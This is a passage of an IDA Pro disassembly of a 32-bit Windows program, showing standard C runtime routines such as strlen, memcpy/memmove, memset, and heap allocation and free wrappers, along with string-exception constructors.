		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4291AB
		lea	eax, [ebp+var_1C]
		push	offset dword_438638
		push	eax
		call	sub_42B8FA


loc_42918F:				; DATA XREF: .text:off_4373A4o
		push	esi
		mov	esi, ecx
		call	sub_429135
		test	[esp+20h+var_18], 1
		jz	short loc_4291A5
		push	esi
		call	sub_4290D0
		pop	ecx


loc_4291A5:				; CODE XREF: sub_429172+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_429172	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4291AB	proc near		; CODE XREF: sub_429172+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B332
		mov	dword ptr [esi], offset	off_4373A4
		mov	eax, esi
		pop	esi
		retn	4
sub_4291AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4291C3	proc near		; CODE XREF: sub_41B420+13p
					; sub_41B55A+Ep

; FUNCTION CHUNK AT 00429253 SIZE 0000000C BYTES

		mov	eax, offset loc_4366BC
		call	sub_42B7CC
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_41B4ED
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_41B525
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41B24F
		lea	eax, [ebp-3Ch]
		push	offset dword_438474
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_4373D4
		call	sub_42B8FA
		pop	esi


loc_42921D:				; DATA XREF: .text:0043A00Co
		test	byte_676C98, 1
		jnz	short loc_42922D
		or	byte_676C98, 1


loc_42922D:				; CODE XREF: sub_4291C3+61j
		call	sub_429247
		test	byte_676C99, 1
		jnz	short loc_429242
		or	byte_676C99, 1


loc_429242:				; CODE XREF: sub_4291C3+76j
		jmp	loc_429253
sub_4291C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_429247	proc near		; CODE XREF: sub_4291C3:loc_42922Dp
		push	offset nullsub_1
		call	sub_42B869
		pop	ecx
		retn
sub_429247	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291C3


loc_429253:				; CODE XREF: sub_4291C3:loc_429242j
		push	offset nullsub_1
		call	sub_42B869
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4291C3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_429260	proc near		; CODE XREF: sub_423C7A+10Ap
					; sub_423C7A+1C3p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_4292CF
		retn	4
sub_429260	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42926E	proc near		; CODE XREF: sub_423C7A+12Dp
					; sub_423C7A+239p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_4292C0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_450E20
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_4292C0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_4292C0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_437254
		test	eax, eax
		jz	short loc_4292C0
		and	[ebp+var_4], 0


loc_4292C0:				; CODE XREF: sub_42926E+Dj
					; sub_42926E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4292CF
		leave
		retn	0Ch
sub_42926E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4292CF	proc near		; CODE XREF: sub_429260+6p
					; sub_42926E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4292F3
		lea	eax, [ebp+var_10]
		push	offset dword_4386E8
		push	eax
		call	sub_42B8FA
sub_4292CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4292F3	proc near		; CODE XREF: sub_4292CF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4373FC
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_42931F
		cmp	[esp+4+arg_8], 0
		jz	short loc_42931F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_42931F:				; CODE XREF: sub_4292F3+1Dj
					; sub_4292F3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_4292F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_429325	proc near		; DATA XREF: .text:off_4373FCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_42936E
		test	[esp+4+arg_0], 1
		jz	short loc_42933B
		push	esi
		call	sub_4290D0
		pop	ecx


loc_42933B:				; CODE XREF: sub_429325+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429325	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4373FC
		jz	short loc_429368
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_429368:				; CODE XREF: .text:00429360j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42936E	proc near		; CODE XREF: sub_429325+3p
					; DATA XREF: .text:004386ECo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4373FC
		test	eax, eax
		jz	short loc_429384
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_429384:				; CODE XREF: sub_42936E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_429392
		push	esi
		call	dword_43703C	; LocalFree


loc_429392:				; CODE XREF: sub_42936E+1Bj
		pop	esi
		retn
sub_42936E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4293A0	proc near		; CODE XREF: sub_4011E4+7p
					; sub_401B6E+28Bp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_4293C0


loc_4293AC:				; CODE XREF: sub_4293A0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_4293F3
		test	ecx, 3
		jnz	short loc_4293AC
		add	eax, 0


loc_4293C0:				; CODE XREF: sub_4293A0+Aj
					; sub_4293A0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4293C0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_429411
		test	ah, ah
		jz	short loc_429407
		test	eax, 0FF0000h
		jz	short loc_4293FD
		test	eax, 0FF000000h
		jz	short loc_4293F3
		jmp	short loc_4293C0
; ---------------------------------------------------------------------------


loc_4293F3:				; CODE XREF: sub_4293A0+11j
					; sub_4293A0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4293FD:				; CODE XREF: sub_4293A0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_429407:				; CODE XREF: sub_4293A0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_429411:				; CODE XREF: sub_4293A0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_4293A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429420	proc near		; CODE XREF: sub_40100A+25p
					; sub_401044+2Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_429440
		cmp	edi, eax
		jb	loc_4295B8


loc_429440:				; CODE XREF: sub_429420+16j
		test	edi, 3
		jnz	short loc_42945C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_42947C
		rep movsd
		jmp	off_429568[edx*4]
; ---------------------------------------------------------------------------


loc_42945C:				; CODE XREF: sub_429420+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_429474
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_42947C+4[eax*4]
; ---------------------------------------------------------------------------


loc_429474:				; CODE XREF: sub_429420+46j
		jmp	dword ptr loc_429578[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_42947C:				; CODE XREF: sub_429420+31j
					; sub_429420+8Ej ...
		jmp	off_4294FC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 94h,	42h, 0
		dd offset loc_4294BC
		dd offset loc_4294E0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_42947C
		rep movsd
		jmp	off_429568[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4294BC:				; DATA XREF: sub_429420+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_42947C
		rep movsd
		jmp	off_429568[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4294E0:				; DATA XREF: sub_429420+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_42947C
		rep movsd
		jmp	off_429568[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4294FC	dd offset loc_42955F	; DATA XREF: sub_429420:loc_42947Cr
		dd offset loc_42954C
		dd offset loc_429544
		dd offset loc_42953C
		dd offset loc_429534
		dd offset loc_42952C
		dd offset loc_429524
		dd offset loc_42951C
; ---------------------------------------------------------------------------


loc_42951C:				; CODE XREF: sub_429420:loc_42947Cj
					; DATA XREF: sub_429420+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_429524:				; CODE XREF: sub_429420:loc_42947Cj
					; DATA XREF: sub_429420+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_42952C:				; CODE XREF: sub_429420:loc_42947Cj
					; DATA XREF: sub_429420+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_429534:				; CODE XREF: sub_429420:loc_42947Cj
					; DATA XREF: sub_429420+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_42953C:				; CODE XREF: sub_429420:loc_42947Cj
					; DATA XREF: sub_429420+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_429544:				; CODE XREF: sub_429420:loc_42947Cj
					; DATA XREF: sub_429420+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_42954C:				; CODE XREF: sub_429420:loc_42947Cj
					; DATA XREF: sub_429420+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_42955F:				; CODE XREF: sub_429420:loc_42947Cj
					; DATA XREF: sub_429420:off_4294FCo
		jmp	off_429568[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_429568	dd offset loc_429578	; DATA XREF: sub_429420+35r
					; sub_429420+92r ...
		dd offset loc_429580
		dd offset loc_42958C
		dd offset loc_4295A0
; ---------------------------------------------------------------------------


loc_429578:				; CODE XREF: sub_429420+35j
					; sub_429420+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_429580:				; CODE XREF: sub_429420+35j
					; sub_429420+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42958C:				; CODE XREF: sub_429420+35j
					; sub_429420+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4295A0:				; CODE XREF: sub_429420+35j
					; sub_429420+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4295B8:				; CODE XREF: sub_429420+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4295EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4295E0
		std
		rep movsd
		cld
		jmp	off_429700[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4295E0:				; CODE XREF: sub_429420+1B1j
					; sub_429420+208j ...
		neg	ecx
		jmp	off_4296B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4295EC:				; CODE XREF: sub_429420+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_429604
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_429604+4[eax*4]
; ---------------------------------------------------------------------------


loc_429604:				; CODE XREF: sub_429420+1D6j
					; DATA XREF: sub_429420+1DDr
		jmp	off_429700[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sbb	[esi-69C7FFBEh], dl
		inc	edx
		add	[eax-6Ah], ah
		inc	edx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4295E0
		std
		rep movsd
		cld
		jmp	off_429700[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4295E0
		std
		rep movsd
		cld
		jmp	off_429700[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4295E0
		std
		rep movsd
		cld
		jmp	off_429700[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4296B4
		dd offset loc_4296BC
		dd offset loc_4296C4
		dd offset loc_4296CC
		dd offset loc_4296D4
		dd offset loc_4296DC
		dd offset loc_4296E4
off_4296B0	dd offset loc_4296F7	; DATA XREF: sub_429420+1C2r
; ---------------------------------------------------------------------------


loc_4296B4:				; DATA XREF: sub_429420+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4296BC:				; DATA XREF: sub_429420+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4296C4:				; DATA XREF: sub_429420+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4296CC:				; DATA XREF: sub_429420+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4296D4:				; DATA XREF: sub_429420+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4296DC:				; DATA XREF: sub_429420+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4296E4:				; DATA XREF: sub_429420+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4296F7:				; CODE XREF: sub_429420+1C2j
					; DATA XREF: sub_429420:off_4296B0o
		jmp	off_429700[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_429700	dd offset loc_429710	; DATA XREF: sub_429420+1B7r
					; sub_429420:loc_429604r ...
		dd offset loc_429718
		dd offset loc_429728
		dd offset loc_42973C
; ---------------------------------------------------------------------------


loc_429710:				; CODE XREF: sub_429420+1B7j
					; sub_429420:loc_429604j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_429718:				; CODE XREF: sub_429420+1B7j
					; sub_429420:loc_429604j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_429728:				; CODE XREF: sub_429420+1B7j
					; sub_429420:loc_429604j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42973C:				; CODE XREF: sub_429420+1B7j
					; sub_429420:loc_429604j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_429420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_429760	proc near		; CODE XREF: sub_40100A+1Ap
					; sub_401044+22p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4297B3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4297A7
		neg	ecx
		and	ecx, 3
		jz	short loc_429789
		sub	edx, ecx


loc_429783:				; CODE XREF: sub_429760+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_429783


loc_429789:				; CODE XREF: sub_429760+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4297A7
		rep stosd
		test	edx, edx
		jz	short loc_4297AD


loc_4297A7:				; CODE XREF: sub_429760+18j
					; sub_429760+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4297A7


loc_4297AD:				; CODE XREF: sub_429760+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4297B3:				; CODE XREF: sub_429760+Aj
		mov	eax, [esp+arg_0]
		retn
sub_429760	endp


; =============== S U B	R O U T	I N E =======================================



sub_4297B8	proc near		; CODE XREF: sub_40100A+Ap
					; sub_401044+12p ...

arg_0		= dword	ptr  4

		push	dword_676930
		push	[esp+4+arg_0]
		call	sub_4297CA
		pop	ecx
		pop	ecx
		retn
sub_4297B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4297CA	proc near		; CODE XREF: sub_4297B8+Ap
					; sub_42B4D7+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_4297F3


loc_4297D1:				; CODE XREF: sub_4297CA+27j
		push	[esp+arg_0]
		call	sub_4297F6
		test	eax, eax
		pop	ecx
		jnz	short locret_4297F5
		cmp	[esp+arg_4], eax
		jz	short locret_4297F5
		push	[esp+arg_0]
		call	sub_42C6C5
		test	eax, eax
		pop	ecx
		jnz	short loc_4297D1


loc_4297F3:				; CODE XREF: sub_4297CA+5j
		xor	eax, eax

locret_4297F5:				; CODE XREF: sub_4297CA+13j
					; sub_4297CA+19j
		retn
sub_4297CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4297F6	proc near		; CODE XREF: sub_4297CA+Bp

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00429866 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 004298C5 SIZE 0000002D BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437400
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_677004
		cmp	eax, 3
		jnz	short loc_429866
		mov	esi, [ebp+arg_0]
		cmp	esi, dword_676FFC
		ja	loc_4298C5
		push	9
		call	sub_42DAEF
		pop	ecx
		and	[ebp+var_4], 0
		push	esi
		call	sub_42CC4E
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_42985D
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jz	short loc_4298C5
		jmp	loc_4298E3
sub_4297F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42985D	proc near		; CODE XREF: sub_4297F6+56p
					; DATA XREF: .text:00437408o
		push	9
		call	sub_42DB50
		pop	ecx
		retn
sub_42985D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4297F6


loc_429866:				; CODE XREF: sub_4297F6+2Bj
		cmp	eax, 2
		jnz	short loc_4298C5
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_42987A
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_42987D
; ---------------------------------------------------------------------------


loc_42987A:				; CODE XREF: sub_4297F6+7Aj
		push	10h
		pop	esi


loc_42987D:				; CODE XREF: sub_4297F6+82j
		mov	[ebp+arg_0], esi
		cmp	esi, dword_453174
		ja	short loc_4298B6
		push	9
		call	sub_42DAEF
		pop	ecx
		mov	[ebp+var_4], 1
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_42D6F1
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4298BC
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4298E3


loc_4298B6:				; CODE XREF: sub_4297F6+90j
		push	esi
		jmp	short loc_4298D5
; END OF FUNCTION CHUNK	FOR sub_4297F6

; =============== S U B	R O U T	I N E =======================================



sub_4298B9	proc near		; DATA XREF: .text:00437414o
		mov	esi, [ebp+8]
sub_4298B9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4298BC	proc near		; CODE XREF: sub_4297F6+B4p
		push	9
		call	sub_42DB50
		pop	ecx
		retn
sub_4298BC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4297F6


loc_4298C5:				; CODE XREF: sub_4297F6+36j
					; sub_4297F6+60j ...
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_4298CF
		push	1
		pop	eax


loc_4298CF:				; CODE XREF: sub_4297F6+D4j
		add	eax, 0Fh
		and	al, 0F0h
		push	eax


loc_4298D5:				; CODE XREF: sub_4297F6+C1j
		push	0
		push	dword_677000
		call	dword_437210	; RtlAllocateHeap


loc_4298E3:				; CODE XREF: sub_4297F6+62j
					; sub_4297F6+BEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4297F6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4298F2	proc near		; CODE XREF: sub_401099+Ap
					; sub_4010B2+73p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00429965 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 004299BD SIZE 0000001E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_437418
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	loc_4299CC
		mov	eax, dword_677004
		cmp	eax, 3
		jnz	short loc_429965
		push	9
		call	sub_42DAEF
		pop	ecx
		and	[ebp+var_4], 0
		push	esi
		call	sub_42C8FA
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_42994D
		push	esi
		push	eax
		call	sub_42C925
		pop	ecx
		pop	ecx


loc_42994D:				; CODE XREF: sub_4298F2+50j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_42995C
		cmp	[ebp+var_1C], 0
		jmp	short loc_4299AD
sub_4298F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42995C	proc near		; CODE XREF: sub_4298F2+5Fp
					; DATA XREF: .text:00437420o
		push	9
		call	sub_42DB50
		pop	ecx
		retn
sub_42995C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4298F2


loc_429965:				; CODE XREF: sub_4298F2+36j
		cmp	eax, 2
		jnz	short loc_4299BD
		push	9
		call	sub_42DAEF
		pop	ecx
		mov	[ebp+var_4], 1
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	esi
		call	sub_42D655
		add	esp, 0Ch
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	short loc_4299A0
		push	eax
		push	[ebp+var_20]
		push	[ebp+var_28]
		call	sub_42D6AC
		add	esp, 0Ch


loc_4299A0:				; CODE XREF: sub_4298F2+9Dj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4299B4
		cmp	[ebp+var_24], 0


loc_4299AD:				; CODE XREF: sub_4298F2+68j
		jnz	short loc_4299CC
		push	[ebp+arg_0]
		jmp	short loc_4299BE
; END OF FUNCTION CHUNK	FOR sub_4298F2

; =============== S U B	R O U T	I N E =======================================



sub_4299B4	proc near		; CODE XREF: sub_4298F2+B2p
					; DATA XREF: .text:0043742Co
		push	9
		call	sub_42DB50
		pop	ecx
		retn
sub_4299B4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4298F2


loc_4299BD:				; CODE XREF: sub_4298F2+76j
		push	esi


loc_4299BE:				; CODE XREF: sub_4298F2+C0j
		push	0
		push	dword_677000
		call	dword_437214	; RtlFreeHeap


loc_4299CC:				; CODE XREF: sub_4298F2+28j
					; sub_4298F2:loc_4299ADj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4298F2
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4299E0	proc near		; CODE XREF: sub_401990+66p
					; sub_401990+B4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_429A94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_429A0A


loc_4299FB:				; CODE XREF: sub_4299E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_429A3B
		test	edi, 3
		jnz	short loc_4299FB


loc_429A0A:				; CODE XREF: sub_4299E0+19j
					; sub_4299E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_429A0A
